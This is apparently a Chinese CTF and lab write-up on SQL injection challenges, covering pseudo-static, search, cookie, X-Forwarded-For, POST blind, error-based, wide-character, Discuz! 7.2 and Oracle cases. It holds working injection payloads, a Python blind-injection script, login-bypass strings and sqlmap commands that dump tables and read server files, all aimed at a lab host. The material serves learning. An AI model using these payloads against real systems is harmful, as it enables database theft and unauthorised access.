0x00 开题说明
声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及
盈利等目的,否则后果自行承担!
本文首发于涂寐’s Blogs:https://0xtlu.github.io
0x01 伪静态&搜索注入
0o00 题目提示
| 1 | 伪静态&搜索注入 | 
0o01 伪静态注入
①网站形态:分动态和静态。
②动态页面:一个页面根据用户请求,从服务器数据库中筛选出请求的内容并返回前端界面。
③静态页面:用户访问一个页面,服务器直接将该页面返回前端界面,无需数据库支持。
④伪静态页面:动态页面为提高收录率,通过某些规则将动态页面的地址转换成以 htm/html 后缀的形式(重写URL),但本质上仍为动态页面。
⑤个人理解伪静态图:
⑥伪静态判定
- 利用动态页面最后修改时间总为当前时间,静态页面最后修改时间为文件生成时间的特点进行判定
- 流程:htm页面–>F12–>控制台–>输入javascript:alert(document.lastModified)–>日期总为当前时间,为伪静态。![image]() 
⑦常见伪静态:aspcms、phpweb、thinkphp框架等
0o02 利用过程
- 纯手工利用 
 ①判断可能存在- 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31- http://47.103.94.191:8001/front/articles-1 and 1=1.html # 正常响应 
 http://47.103.94.191:8001/front/articles-1 and 1=2.html # 异常响应
 # 伪静态中使用%20,%23,+等字符时会直接传递到URL中,但可使用块注释 /**/ 来代替空格
 # 可知当前URL所请求表中含7个字段,通过sqlmap可进一步确认(news库news表)
 http://47.103.94.191:8001/front/articles-2/**/order/**/by/**/7.html
 http://47.103.94.191:8001/front/articles-2/**/order/**/by/**/8.html
 # 布尔注入
 # 当 1-true 成立,即为0,则没有文章articles-0,反之为文章articles-1
 http://47.103.94.191:8001/front/articles-1-true.html
 http://47.103.94.191:8001/front/articles-1-false.html
 # 当前用户名长度
 # 当 length(user())=13 成立(true),则 2-(length(user())=13) 得1,则显示文章articles-1,反之显示文章articles-2
 # 又,通过 sqlmap -u "http://47.103.94.191:8001/front/articles-1*.html" --batch -v 3 --current-user 得用户名,test@localhost
 # 故,可以确定当前用户连接用户名长度为14,注入语句成功
 http://47.103.94.191:8001/front/articles-2-(length(user())=13).html
 http://47.103.94.191:8001/front/articles-2-(length(user())=14).html
 # 当前数据库名长度
 http://47.103.94.191:8001/front/articles-1-(length(database())=3).html
 http://47.103.94.191:8001/front/articles-1-(length(database())=4).html
 http://47.103.94.191:8001/front/articles-1.html # 未加入单引号
 http://47.103.94.191:8001/front/articles-1'.html # 加入单引号,出现异常响应- ②发现没有回显,写脚本进行盲注 
 这里脚本可以试试二分法进行盲注,可以有效降低时间复杂度。- 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99- # !/usr/bin/env python3 
 from requests.sessions import session
 import re
 from time import sleep
 """
 @Time : 2022/5/9 19:18
 @Author : 涂寐
 @File : d.py
 @PRODUCT : PyCharm
 @Description : 用于盲注 http://47.103.94.191:8001/front/articles-1%20AND%20(substring(database(),1,1)='1').html 的脚本
 """
 class Riddle:
 url = "http://47.103.94.191:8001/front/articles-1{}.html"
 headers = {
 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) '
 'Chrome/97.0.4692.71 Safari/537.36 Edg/97.0.1072.55 '
 }
 estimates = "abcdefghigklmnopqrstuvwxyz0123456789@_.,{}!#^*()-+/+&~=%$"
 re_title = r'<h1.*?>(.*?)</h1>'
 def riddle_request(self, url: str) -> list:
 """
 这是一个网络请求函数
 :param url: 待请求注入的网址
 :return: 存在注入的判定标识
 """
 with session().get(url=url, headers=self.headers) as response:
 content = response.text
 title_list = re.findall(self.re_title, str(content))
 return title_list
 def riddle_length(self, sql_syntax: str) -> int:
 """
 这是一个求取sql请求返回值长度的函数,主要使用还是看你的思维
 :param sql_syntax: sql注入语句
 :return: sql语句返回值的长度
 """
 for num in range(1, 1024):
 url = self.url.format(sql_syntax).format(num=num)
 print(num, end='-')
 if not self.riddle_request(url):
 print(num)
 return num
 def riddle_estimate(self, length: int, sql_syntax: str):
 """
 这是一个猜想sql请求返回具体内容的函数,主要使用还是看你的思维
 :param length: 猜想长度
 :param sql_syntax: sql语句
 """
 flag = 0
 for num in range(1, length + 1):
 for estimate in self.estimates:
 url = self.url.format(sql_syntax).format(num=num, estimate=estimate)
 if not self.riddle_request(url):
 print(estimate, end='')
 sleep(1)
 flag = 0
 break
 # 避免过多请求
 if flag > 3:
 print('flag大于3')
 break
 if __name__ == "__main__":
 # 猜表名
 # column_name = "table_name"
 # table_name = "information_schema.columns"
 # limit_name = "table_schema"
 # appoint_name = "news"
 # 猜字段
 # column_name = "column_name"
 # table_name = "information_schema.columns"
 # limit_name = "table_name"
 # appoint_name = "flag_is_here"
 # 猜字段值
 column_name = "flag_number"
 table_name = "news.flag_is_here"
 limit_name = "fid"
 appoint_name = "1"
 riddle = Riddle()
 # http://47.103.94.191:8001/front/articles-1 and ((select length(group_concat(distinct table_schema)) from
 # information_schema.tables)=29).html
 riddle_length = riddle.riddle_length(
 sql_syntax=" and ((select length(group_concat(distinct {column_name})) from {table_name} where {limit_name}='{appoint_name}'".format(
 column_name=column_name, table_name=table_name, limit_name=limit_name,
 appoint_name=appoint_name) + ")={num})")
 # http://47.103.94.191:8001/front/articles-1 and (substring((select group_concat(distinct table_schema) from
 # information_schema.tables),1,1)='i').html
 riddle.riddle_estimate(
 sql_syntax=r" and (substring((select group_concat(distinct {column_name}) from {table_name} where {limit_name}='{appoint_name}'".format(
 column_name=column_name, table_name=table_name, limit_name=limit_name,
 appoint_name=appoint_name) + "),{num},1)='{estimate}')", length=riddle_length)![image]() 
- sqlmap利用 - 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15- # 注!!!注!!!注!!! 
 # sqlmap一把梭时,可在存在伪静态注入点后加入 * 符号标识,具体如下
 # 爆当前使用的库名
 sqlmap -u "http://47.103.94.191:8001/front/articles-1*.html" --batch –-current-db
 # 爆news库下表名
 sqlmap -u "http://47.103.94.191:8001/front/articles-1*.html" --batch -D "news" --tables
 # 爆news库flag_is_here表下字段名
 sqlmap -u "http://47.103.94.191:8001/front/articles-1*.html" --batch -D "news" -T 'flag_is_here' --columns
 # 爆news库flag_is_here表fid和flag_number字段内容
 sqlmap -u "http://47.103.94.191:8001/front/articles-1*.html" --batch -D "news" -T 'flag_is_here' -C 'fid,flag_number' --dump
 # 最终得到
 flag{c681ed59dd48ac30bfe913a4c73b2aaa}
 # 注:使用 -v 参数设置sqlmap的回显等级, -v 为 3 时恰好显示注入语句
 sqlmap -u "http://47.103.94.191:8001/front/articles-1*.html" --batch -v 3![image]() 
0x02 SQL搜索型注入01
0o00 题目提示
| 1 | SQL搜索型注入01 | 
0o01 利用过程
- 直接搜索框测试,注入点无法查看,使用 HackBar 获取post内容。 ![image]() 
- 显而易见的注入点,现在构造你的语句吧 
 ① 传递查询参数- 1时,通过POST传参- search=1,查询数据库中某字段中(返回到前端的- Message列)含- 1的内容,猜测SQL语句类似- select column1,column2,column3 from table where like '%${parameter}%'。
 ② 通过修改- search=1' order by 5#中的- 5判断注入语句中的字段个数,此处为5。
 ③ 通过构造- union子句检测查询内容回显在前端的哪个位置- search 1' union select 1,2,3,4,5#。- 1 
 2
 3
 4
 5
 6
 7
 8- search=1' union select 1,2,group_concat(distinct table_name),4,5 from information_schema.columns where table_schema like database()%23 
 得到: account,caffaine,dwvs_admin_message,dwvs_message,dwvs_user_message,dwvs_vulnerability,flag,news,user
 search=1' union select 1,2,group_concat(distinct column_name),4,5 from information_schema.columns where table_name like 'flag'%23
 得到: id,flag
 search=1' union select 1,2,group_concat(distinct flag),4,5 from flag%23
 得到:flag{8bce2844bc098845261fad79a3a56215}![image]() 
- sqlmap测试 - 1 
 2
 3
 4
 5- # 通过 --data 参数指定提交的post数据 
 sqlmap -u "http://47.103.94.191:8002/search.php" --batch --data "search=1" -D 'dwvs' -T 'flag' -C 'id,flag' --dump
 # 通过 -r 参数指定post请求包
 sqlmap -r ./post.txt -D 'dwvs' -T 'flag' -C 'flag' --dump- 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16- POST /search.php 
 Host: 47.103.94.191:8002
 Content-Length: 8
 Cache-Control: max-age=0
 Upgrade-Insecure-Requests: 1
 Origin: http://47.103.94.191:8002
 Content-Type: application/x-www-form-urlencoded
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36 Edg/101.0.1210.39
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
 Referer: http://47.103.94.191:8002/search.php
 Accept-Encoding: gzip, deflate
 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
 Cookie: security_level=1; PHPSESSID=2ge1634i8bqs8o9g1nsebvsvk2
 Connection: close
 search=1
0x03 Cookie注入
0o00 题目提示
| 1 | Cookie注入 | 
0o01 Cookie注入
- 原理:在动态脚本语言中存在超全局变量可以获取多种传参方式,如php中的 $_REQUEST[] 可以获取 POST|GET|COOKIE ,但php 5.4 以上版本不再接受Cookie传参。故,在发送请求包时,可以在请求头中添加/更改Cookie值以构造非法语句来实现注入。简而言之,修改本地Cookie值来提交非法请求。
- 使用:①通过bp抓包后添加/修改请求头Cookie值;②通过控制台执行document.cookie="id="+escape("3")添加/修改请求头Cookie值;③通过Cookie Editor插件添加/修改请求头Cookie值;④通过sqlmap工具指定--cookie参数以及指定探测等级--level为2级及以上。
- 时机:站点对$_GET和$_POST提交的数据进行过滤,但未对$_COOKIE提交的数据进行过滤时。
0o02 利用过程
- 将请求包中, - Cookie值(没有就自己加)替换为- GET请求的- URL中- ?后面部分,即- id=2。同时,删掉- URL中- ?及其后面部分(截至到空格)。![image]() 
- bp利用语句(和上一题一样猜想测试) - 1 
 2
 3
 4
 5
 6
 7
 8
 Cookie: id=-2 union select 1,database(),version(),group_concat(distinct table_name),5 from information_schema.columns where table_schema like database()
 得到:account,sql_admin_message,sql_message,sql_user_message,sql_vulnerability,this_flag,user,users
 Cookie: id=-2 union select 1,database(),version(),group_concat(distinct column_name),5 from information_schema.columns where table_name like 'this_flag'
 得到:id,flag
 得到:flag{d523990a3ff51ff035d5cf378f175e88},dagebiedawo![image]() 
- F12–>Console–>使用 - document.cookie="id="+escape("3")语句修改本地保存的- Cookie值后再对- http://47.103.94.191:8009/user.php发起请求。- 1 
 2
 3
 4- document.cookie="id="+escape("3") 
 document.cookie:表示当前浏览器中的cookie变量
 escape():该函数用于对字符串进行编码![image]() 
- 使用 - Cookie Editor插件添加/修改本地Cookie内容,更加方便!!!![image]() 
- sqlmap使用 - 1 
 2
 3
 4
 5- # 需要指定 --level 提高探测等级(等级2以上才会检测cookie注入),以使用更多 payload 注入 
 sqlmap -u 'http://47.103.94.191:8009/user.php?id=2' --batc --cookie "id=2" --dbs --level 2
 
 # 通过 -r 参数指定post请求包,但一样要指定Cookie值,就更麻烦
 sqlmap -r post.txt --batch --cookie "id=2" -D 'cookie' --tables --level 2- 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11- GET /user.php 
 Host: 47.103.94.191:8009
 Pragma: no-cache
 Cache-Control: no-cache
 Upgrade-Insecure-Requests: 1
 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20120101 Firefox/33.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
 Accept-Encoding: gzip, deflate
 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
 Cookie:id=2
 Connection: close
0x04 X-Forwarded-For注入
0o00 题目提示
| 1 | X-Forwarded-For注入 | 
0o01 X-Forwarded-For注入
- 名词解析:X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。 Squid 缓存代理服务器的开发人员最早引入了这一HTTP头字段,并由IETF在HTTP头字段标准化草案中正式提出。
- 名词相关:XFF的有效使用是在保证代理服务器可信的前提下,如通过创建可信服务器白名单等。假设没有XFF等技术,则通过代理服务器的连接显示的是代理服务器的IP,而非连接发起的原始IP。即,代理服务器充当匿名服务提供者,使得连接的原始地址不可知。进而,服务对接时对恶意访问的检测和预防难度将大大增加。
- XFF格式:X-Forwarded-For: client1, proxy1, proxy2, proxy3
0o02 利用过程
- bp工具利用 - 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10- GET /whitelist.php 
 Host: 47.103.94.191:8010
 Cache-Control: max-age=0
 Upgrade-Insecure-Requests: 1
 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20120101 Firefox/33.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
 Accept-Encoding: gzip, deflate
 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
 X-Forwarded-for:'union select 1,2,3,4,5'
 Connection: close- 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17- // 得到哪个字段回显前端-->2,3 
 X-Forwarded-for:'union select 1,2,3,4,5'
 
 // 得到数据库名-->xff
 X-Forwarded-for:'union select 1,database(),3,4,5'
 
 // 得到表名-->this_flag
 X-Forwarded-for:'union select 1,database(),(select group_concat(table_name) from information_schema.columns where table_schema = database()),4,5'
 
 // 得到字段名-->flag
 X-Forwarded-for:'union select 1,database(),(select group_concat(column_name) from information_schema.columns where table_schema = database()),4,5'
 // 得到字段内容-->flag{00b116d12ab1d53490e6b685cc7862fc}
 X-Forwarded-for:'union select 1,database(),(select flag from this_flag limit 1),4,5'![image]() 
- sqlmap利用 - 1 
 2
 3
 4- // 按官方文档说,-H 是添加额外的请求头字段;-p 指定注入参数呗 
 sqlmap -u "http://47.103.94.191:8010/whitelist.php" --batch -H "X-Forwarded-For:127.0.0.1" -p "X-Forwarded-For" -D "xff" -T "this_flag" -C "flag" --dump
 // 也可以直接拿bp抓取到的请求包进行 sqlmap 注入,同样要 -p 指定参数,具体看上面的注入步骤吧![image]() 
0x05 POST盲注&万能密码
0o00 题目提示
| 1 | POST盲注&万能密码 (200分) | 
0o01 漏洞1
- 别被万能密码误导,在登录框那使用万能密码登录,而实际需要的是抓取登录请求的包,以user和pass参数作为注入点。

- 测试一波,就发现返回 - Mysql Error!!或账密不正确,so……尝试盲注注入——时间盲注- 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16- POST /user/logCheck.php 
 Host: 47.103.94.191:8003
 Content-Length: 37
 Cache-Control: max-age=0
 Upgrade-Insecure-Requests: 1
 Origin: http://47.103.94.191:8003
 Content-Type: application/x-www-form-urlencoded
 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20120101 Firefox/33.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
 Referer: http://47.103.94.191:8003/user/login.php
 Accept-Encoding: gzip, deflate
 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
 Cookie: PHPSESSID=vthao53sebdao4cbvqd2bt5ji2
 Connection: close
 user=admin&pass=admin'&submit=submit![image]() 
- bp利用 
| 1 | // ddd为临时表,使用两个and关键字进行联合查询 | 

- sqlmap利用
| 1 | // --form 参数自动获取请求页中的form表单测试 | 

0o02 漏洞2
- 试了几波万能密码,'or '1'='1/pwd存在数据库或admin'#/任意字符,具体语句:SELECT * FROM dwvs_user_message WHERE DWVS_user_name =''or '1'='1' AND DWVS_user_passwd='';根据mysql中and的优先级高于or可知,'or '1'='1与DWVS_user_passwd='';先做and运算找到密码正确的记录,之后做or运算判断DWVS_user_name字段,此时账号存在抑或正确与否已无任何关系,仅需密码存在即可;或SELECT * FROM dwvs_user_message WHERE DWVS_user_name ='admin'# AND DWVS_user_passwd='';通过#注释AND DWVS_user_passwd='';部分,使得密码无需填写,仅需账号存在即可。
- 通过sqlmap -u "http://47.103.94.191:8003/user/login.php" --batch --random-agent --forms --sql-shell``SELECT COUNT(*) FROM dwvs_user_message;查询,记录数是45。写入SELECT * FROM dwvs_user_message limit 5;,读取到前5条记录,可以看到有多个账户1,对应不同的密码,同时账户1可以多次创建,密码不同账户不同,其他账户名不行。同时,使用1'#账号无法登录,未理解!!!
- 查看源码文件:https://github.com/bugku/BWVS/blob/master/user/logCheck.php
- bp手工布尔盲注(更新用户名处抓包):1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16POST /user/updateName.php 
 Host: 47.103.94.191:8003
 Content-Length: 32
 Cache-Control: max-age=0
 Upgrade-Insecure-Requests: 1
 Origin: http://47.103.94.191:8003
 Content-Type: application/x-www-form-urlencoded
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36 Edg/101.0.1210.53
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
 Referer: http://47.103.94.191:8003/user/edit.php
 Accept-Encoding: gzip, deflate
 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
 Cookie: PHPSESSID=4s0hom06cjglakfi64fu9u0h21
 Connection: close
 u_id=1&user_name=1&submit=submit1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16// 请了解MySQL的case搜索函数(case when then else end,可代替where) 
 // rlike 运算符(REGEXP 的同义词)执行字符串表达式与模式的模式匹配--正则表达式相关。
 // 举例:select 123 rlike 1。在 123 中含有 1 (模糊匹配), 则整个 select 语句返回 1,反之返回 0。
 // 完整语句:UPDATE dwvs_user_message SET DWVS_user_name = '1' RLIKE (SELECT (CASE WHEN (3454=3454) THEN 1 ELSE 2 END))-- nLnq' WHERE DWVS_user_id = '1';
 // 如下语句解析,CASE WHEN (3454=3454) THEN 1 ELSE 0x28 END) 中,由于 3454=3454 恒成立,则得到整个语句结果为 1;
 // '1' RLIKE 1 的结果为 1,则之后的 DWVS_user_name 都设置为 1,这也是为什么出现多个以 1 为名的账户的原因。
 // 注入原理:rlike遇到特殊字符'('报错缺少右括号,char(40)为'(' ,0x28为'(',则可通过修改“3454=3454”部分内容进行猜想。
 // 注:请理解正则表达式语法,rlike注入的实现大致是正则表达式的语法错误(仅个人理解)。
 u_id=1&user_name=1' RLIKE (SELECT (CASE WHEN (3454=3454) THEN 1 ELSE 0x28 END))-- nLnq&submit=submit
 // 猜想数据库长度,正确长度为4
 u_id=1&user_name=1' RLIKE (SELECT (CASE WHEN (length(database())=3) THEN 1 ELSE 0x28 END))#&submit=submit
 // 猜想具体字符
 u_id=1&user_name=1' RLIKE (SELECT (CASE WHEN (if((substr(database(),2,1)='W'),1,0)) THEN 1 ELSE 0x28 END))#&submit=submit![image]() 

- sqlmap注入1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12// 指定注入参数 user_name,获得三种注入方式 
 sqlmap -r test.txt --batch -p user_name
 // 指定使用布尔盲注获取当前数据库名-->dwvs
 sqlmap -r test.txt --batch -p user_name --technique B --current-db
 // ……
 // 拿flag-->flag{f99c688f101bb53fdbf178ad0889182e}
 sqlmap -r test.txt --batch -p user_name --technique B -D dwvs -T flag -C flag --dump
 // 读取源码文件/var/www/html/user/updateName.php
 sqlmap -r test.txt --batch -p user_name --technique B --file-read "/var/www/html/user/updateName.php" --threads 101 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 include_once('../bwvs_config/sys_config.php');
 if(isset($_POST['submit']) && !empty($_POST['user_name'])) {
 # $clean_username = select_waf1($_POST['user_name']);
 $clean_username = $_POST['user_name'];
 # $clean_username = XSS_reg($clean_username);
 $clean_user_id = clear_all($_POST['u_id']);
 if(!is_numeric($clean_user_id))
 {
 $_SESSION['Uid_error'] = '非法的用户ID';
 header('Location: edit.php');
 }else{
 $sql = "SELECT * FROM dwvs_user_message WHERE DWVS_user_name ="."'"."$clean_username"."'";
 $data = mysqli_query($connect, $sql) or die(mysqli_error($connect));
 if(mysqli_num_rows($data) == 1){
 $_SESSION['update_error'] = 'error';
 header('Location: edit.php');
 }else{
 $sql_Up = "UPDATE dwvs_user_message SET DWVS_user_name = '$clean_username' WHERE DWVS_user_id = '$clean_user_id'";
 mysqli_query($connect,$sql_Up) or die(mysqli_error($connect));
 mysqli_close($connect);
 $_SESSION['user_name'] = $clean_username;
 header('Location: edit.php');
 }
 }
 }else{
 not_find($_SERVER['PHP_SELF']);
 }![image]() 
0x06 SQL报错型注入
0o00 题目提示
| 1 | SQL报错型注入 | 
0o01 漏洞一:insert报错注入
- 登录后留言界面留言并抓包,之后去重放那测试。抑或,那请求包去sqlmap那边跑,语句:sqlmap -r test.txt --batch或sqlmap -u "http://47.103.94.191:8004/messageSub.php" --batch --cookie "PHPSESSID=4s0hom06cjglakfi64fu9u0h21" --data "message=libai&submit=submit"。
- 注:别退出登录(cookie失效)!!!1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16POST /messageSub.php 
 Host: 47.103.94.191:8004
 Content-Length: 27
 Cache-Control: max-age=0
 Upgrade-Insecure-Requests: 1
 Origin: http://47.103.94.191:8004
 Content-Type: application/x-www-form-urlencoded
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36 Edg/101.0.1210.53
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
 Referer: http://47.103.94.191:8004/message.php
 Accept-Encoding: gzip, deflate
 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
 Cookie: PHPSESSID=4s0hom06cjglakfi64fu9u0h21
 Connection: close
 message=libai&submit=submit1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27// 某个位置回显数据-->仅闭合构造 
 // 测试字段数
 message=1','2','3')#&submit=submit
 // 测试回显位置
 message=1','2','3','5')#&submit=submit
 // 代替'3',获取版本
 message=1','2',@@version,'5')#&submit=submit
 // 报错注入
 // 使用 extractvalue() 方法构造报错注入,得到库名-->dwvs
 message=222'or extractvalue(1,concat(0x7e,database(),0x7e)))#&submit=submit
 // 或使用其他字符使 xml路径 不正确
 message=222'or extractvalue(1,concat('///',database())))#&submit=submit
 // 得到表名-->flag
 message=222'or extractvalue(1,concat('///',(select distinct(table_name) from information_schema.columns where table_schema=database() limit 6,1))))#&submit=submit
 // 得到字段名-->flag
 message=222'or extractvalue(1,concat('///',(select distinct(column_name) from information_schema.columns where table_name='flag' limit 1,1))))#&submit=submit
 // 得到flag-->flag{690997feb8fc9341}
 message=222'or extractvalue(1,concat('///',(select distinct(flag) from flag limit 0,1),'///')))#&submit=submit![image]() 
0o02漏洞二:update报错注入
| 1 | // GeometryCollection是由1个或多个任意类几何对象构成的几何对象 | 

0x07 宽字符注入
0o00 题目提示
| 1 | 宽字符注入 | 
0o01 注入流程
- bp手注,具体内容请访问如下URL:
| 1 | // 回显提示:数据库没有id=-81,即不成立,则查找 1=1,为真,即id=1;之后,进行注释闭合 | 

- sqlmap宽字节注入
| 1 | // 调用 sqlmap 的 unmagicquotes.py 脚本构造宽字符注入绕过waf | 
0x08 宽字符注入02
0o00 题目提示
| 1 | 宽字符注入02 | 
0o01 ecshop gbk存在宽字符注入
- 首页CMS信息ECSHOP v2.7.2
- 找找度娘,杂乱无章,跑去跑目录了,不知道是官方还是大佬写的:http://47.103.94.191:8036/readme.txt。
- 漏洞信息:https://www.seebug.org/vuldb/ssvid-93503
- 漏洞解析(不肯定):https://www.2cto.com/Article/201301/182881.html
0o02 注入流程
- 这里想测试使用load_file()手工读取文件,奈何……弄不出,有懂得师傅滴滴~
| 1 | // 测试 | 

0x09 SQL报错型注入02
0o00 题目提示
| 1 | SQL报错型注入02 | 
0o01 Discuz! 7.2 SQL注入
- CMS呀,直接度娘搜,faq.php文件页面存在SQL注入。
| 1 | // PHP 指令 magic_quotes_gpc 为 on --> 作用类似 addslashes(),即对输入的字符进行转义处理。 | 
- 此处不做演示(注:magic_quotes_gpc 自 PHP 5.3 已废弃,自PHP 5.4 已移除。)
- 基础理解:在PHP中,若输入为字符串STR,却使用数组方式取值时,则PHP对STR进行单字符拆分,类似C语言的字符串数组。故,在转义后 $sql[0]=’',$sql[1]=’单引号’。
| 1 | # 1.php | 
| 1 | # 2.php | 

- 深入理解:看大佬解析吧!!!
 ①https://www.t00ls.com/articles-27175.html(大致是原版,不保证)
 ②https://www.proyy.com/6995090823914209288.html
 ③https://www.leavesongs.com/discuz72-sql-injection.html
- 定义数组 $groupids,之后遍历$gids($_GET[gids]),先将$gids的每个元素分别赋予$row,然后才是将$row的第一个元素$row[0]取出赋予$groupids[]数组进行存储。
- 如下第一个代码块的11句,又调用了implodeids($array)方法,将$groupids数组以,分隔开,组成类似'1','2','3','4'的字符序列。根据前面说的,'被转义称\',取第一个元素为\,则分隔后内容类似'1','2','\','4'。即\和它之后的'构成转义字符\',\前的'和4前的'将闭合,其中内容构成新的一个字符串。故此,4后面的单引号逃逸,在4的位置构造注入将获得需要的数据。
| 1 | } elseif($action == 'grouppermission') { | 
| 1 | function implodeids($array) { | 
- http://47.103.94.191:8042/faq.php?action=grouppermission&gids[2]='直接拼入- &gids[2]='&gids[3]=3&gids[4]=4,即- http://47.103.94.191:8042/faq.php?action=grouppermission&gids[2]='&gids[3]=3&gids[4]=4。得到sql语句- SELECT * FROM [Table]usergroups u LEFT JOIN [Table]admingroups a ON u.groupid=a.admingid WHERE u.groupid IN ('7','\','3','4')。得到 报错- ……for the right syntax to use near '3','4')' at line 1,即在- \'的转义下,单引号不闭合,造成- 4后的单引号逃逸直接报错。
- 对大佬得构造语句进行理解:两重select嵌套,保证内层 - select中- floor报错执行,若实现得到有用信息,需要使用- concat方法将注入语句与- floor(rand(0)*2)进行组合,使报错时出现有用信息(仅个人理解,不保证正确)。
- http://47.103.94.191:8042/faq.php?action=grouppermission&gids[2]='&gids[3][0]=) and (select 1 from (select floor(rand(0)*2) as x,count(*) from mysql.user group by x)y)%23![image]() 
- 最后构成的exp: - http://47.103.94.191:8042/faq.php?action=grouppermission&gids[2]='&gids[3][0]=) and (select 1 from (select concat(0x7e,database(),0x7e,floor(rand(0)*2)) as x,count(*) from mysql.user group by x)y)%23
0o02 注入流程
- 另一种exp利用
| 1 | // 拿库名 | 
| 1 | GET /faq.php?action=grouppermission&gids[t00ls]=%27&gids[t00ls1][]=,(select%201%20from(select%20count(*),concat((select%20(select%20concat(user(),0x7e,(select%20distinct(table_name)%20from%20information_schema.columns%20limit%20173,1),0x7e))),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a))%23 | 

0x0a Oracle注入
0o00 题目提示
| 1 | oracle注入 | 
0o01 Oracle 部分知识
0b00 基础知识
- Oracle数据库的注释符,单行注释:--,多行注释:/**/。
- dual:Oracle 数据库的虚表,供任意用户读取,在没有目标表的- select语句中经常用到
- Oracle 数据库使用||拼接字符串。
- Oracle 数据库对 MySQL 数据库中limit关键字的表述转为使用虚表的rownum字段判断:select * from users where rownum=1;。
- Oracle数据库中使用双引号"来消除系统关键字,即某一字段能与系统关键字同名时,将该关键字用双引号引起:select "where" from tests。
- 用户:Oracle 数据库的基本单位,类似 MySQL 数据库的库。
- 表:Oracle 的每一个用户下有表,类似 MySQL 数据库的库下的表。
- 表空间:Oracle 数据库的逻辑划分,是Oracle数据库恢复的最小单位。一个 Oracle 数据库至少有一个表空间(system表空间)。
0b01 默认表空间
- Oracle 数据库创建时,默认生成5个表空间,如下:
- SYSTEM:存储系统表和管理配置等基本信息。
- SYSAUX:类似于SYSTEM,存放系统附加信息,减轻 SYSTEM 的空间负担。
- UNDO:用于事务回退等。
- TEMP:存储临时数据。
- USERS:默认存储用户信息的表空间。
0b10 权限与用户
- 权限区分:
- DBA:系统最高权限,可创建数据库结构。
- resource:仅可创建实体,不可以创建数据库结构。
- connect:仅可登录 Oracle,不可以创建实体,不可以创建数据库结构。
- 默认用户区分
- sys:类似 Linux 的 root 用户,属于 DBA 角色。
- system:类似 sys 用户,但缺少修改关键系统数据的权限,属于 DBA 角色。
- public:类似一个数据库用户的集合,对其操作会应用到所有用户上。
0b11 部分系统表
- dba_users:数据库用户信息。
- dba_segments:表段信息。
- dba_tablespaces:数据库表空间信息。
